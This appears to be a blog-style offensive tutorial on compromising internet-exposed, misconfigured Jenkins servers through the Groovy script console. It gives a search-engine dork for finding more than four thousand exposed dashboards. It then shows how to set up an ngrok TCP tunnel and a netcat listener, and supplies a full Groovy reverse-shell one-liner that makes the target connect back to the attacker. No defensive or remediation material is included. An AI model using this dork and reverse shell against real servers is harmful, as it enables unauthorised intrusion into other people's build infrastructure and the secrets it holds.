Jenkins misconfig leads to RCE

There are many Jenkins instances exposed and some of them allow us to an OS command execution. Jenkins is an open-source automation system used in DevOps practice to automate the process of building, testing, and deploying software. It allows developers to seamlessly integrate code, run automated tests, and deploy software efficiently and reliably. Jenkins offers a wide range of plugins that allow you to connect to different development tools and frameworks. It is highly configurable and flexible, allowing developers to customize the automation process based on specific project needs.

Finding Jenkins istances

You can search exposed dashboards on ZoomEye with the following dork, giving back more than 4k results. title:"Dashboard [Jenkins]"+"Manage jenkins"
[*] zoomeye_results.png

Exploiting the misconfiguration

Once you're inside the dashboard, go to the section Manage Jenkins and then console script (generally /script or /manage/script URL path). Here you can execute Groovy scripts, and Groovy supports the execution of system commands.
[*] jenkins_command.png

Planting a reverse shell

Executing commands through the web dashboard is a bit uncomfortable, isn't it? With ngrok you can start a TCP tunnel with their subdomain, and let the server connect to you! After configured correctly ngrok, execute the following commands on your terminal: ngrok tcp 6969 6969 is just the port number of your local ngrok server. You will see something like this:
[*] ngrok.png
The white blank space in the "Forwarding" line indicates your port, what's behind it is the subdomain used. Then we have to use Netcat to listen to the incoming TCP connections on our local host. nc -lvnp 6969 After that, you can execute this groovy reverse shell inside the dashboard, remember to replace the content of the string "host" and the integer "port" with the ones ngrok gave you.
Groovy oneliner reverse shell from revshells.com String host="NGROK DOMAIN";int port=PORT;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Then we just have to wait for the server to connect to us...and that's it!
[*] netcat.png